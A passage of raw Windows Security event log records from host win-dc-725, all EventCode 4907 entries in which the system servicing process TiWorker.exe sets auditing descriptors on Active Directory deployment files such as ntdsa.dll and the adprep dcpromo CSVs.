C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247677 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\ffa5ee3c-1405-476d-b344-7ad37d69cc25.dcpromo.csv - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247676 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\dcpromo.csv - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247675 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\dca8f425-baae-47cd-b424-e3f6c76ed08b.dcpromo.csv - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247674 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\a662b036-dbbe-4166-b4ba-21abea17f9cc.dcpromo.csv - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247673 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\4444c516-f43a-4c12-9c4b-b5c064941d61.dcpromo.csv - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247672 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\134428a8-0043-48a6-bcda-63310d9ec4dd.dcpromo.csv - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247671 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\00232167-f3a4-43c6-b503-9acb7a81b01c.dcpromo.csv - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247670 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ADDSDeployment_Internal\ADDSDeployment_Internal.psm1 - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247669 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ADDSDeployment_Internal\ADDSDeployment_Internal.psd1 - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247668 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\TransformationRulesParser.exe - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247667 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\schema.ini - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247666 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\SampleDCCloneConfig.xml - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247665 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\replprov.mof - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247664 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\replprov.dll - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247663 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\PwdSSP.dll - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247662 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntfrsutl.exe - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247661 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntfrsres.dll - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247660 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntfrsrep.ini - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247659 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntfrsrep.h - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247658 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\NTFRSPRF.dll - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247657 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntfrscon.ini - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247656 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntfrscon.h - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247655 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntfrs.exe - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247654 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntdsperf.dll - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247653 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntdsmsg.dll - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247652 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntdskcc.dll - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247651 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntdsetup.dll - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247650 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntdsbsrv.dll - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247649 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntdsbmsg.dll - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247648 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntdsatq.dll - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247647 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntdsai.dll - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247646 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntdsa.dll - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247645 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\mtedit.exe - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247644 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: 